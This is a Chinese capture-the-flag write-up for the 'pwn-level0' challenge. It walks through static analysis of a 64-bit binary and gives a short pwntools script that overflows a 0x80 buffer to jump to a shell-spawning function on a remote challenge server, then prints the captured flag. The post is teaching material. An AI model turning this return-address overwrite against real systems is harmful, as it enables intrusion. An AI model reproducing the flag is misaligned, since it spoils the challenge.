首页 > 其他 > 详细

pwn-level0

时间:2020-06-08 16:13:16      阅读:48      评论:0      收藏:0      [点我收藏+]

pwn-level0

今天做一下pwn里面的简单题,回顾下之前学到的知识点

Markup
deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free    //换源
python -m pip install pwntools     //安装pwntools
checksec //查壳
IDA pro    //静态分析
/bin/sh/        //shell
F5               //查看伪代码
Shift + F12       //查看string
目的:找可利用地址,计算缓冲区空间,覆盖原地址调用新地址

1、首先是level0的题目,下载后使用checksec进行侦壳

技术分享图片

从回显中可以清除的看到此文件是64位的,并且除了NX(数据不可执行)保护机制并没有开启其他的。

2、赋给执行权限后,运行下

技术分享图片

发下仅有回显 “Hello, World" 之后输入任意内容结束程序。

3、使用IDA pro进行静态分析

技术分享图片

在main函数中发现"Hello,World\n",按F5以后可以看到在main函数中只有两行,程序执行后打印“helloworld”后执行vulnerable_function()函数。

技术分享图片

函数中无参数传入,buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转

4、使用快捷键Shift + F12查看技术分享图片

发现除了刚才看到的字符串还有出现system、/bin/sh 等

技术分享图片

双击/bin/sh以后可以看到这里还会调用callsystem

技术分享图片

然后双击callsystem发现其执行的地址为400596,之后可以根据之前发现的地址覆盖,来调用callsystem执行任意命令。

5、编写利用语句

Python
#coding=utf-8
from pwn import *     #导入pwntools中pwn模块中的所有内容
p = remote("124.126.19.106",32926)    #链接服务器远程交互
elf = ELF(‘./level0‘)    #以ELF文件格式读取level0中callsystem的地址
#先用0x88个无用字符覆盖buf和push的内容,再覆盖返回地址
payload = ‘a‘*(0x80+8) + p64(sysaddr)        #这里的 sysaddr =》 0x400596
p.recv()    #接收输出
p.send(payload)    #发送payload无用字符
p.interactive()    #反弹shell进行交互

6、执行

技术分享图片

技术分享图片

拿到flag。

cyberpeace{a24f2cca2cb95b401c8a6fa2afa676a6}

pwn-level0

原文:https://www.cnblogs.com/zi-Chuan/p/13065860.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!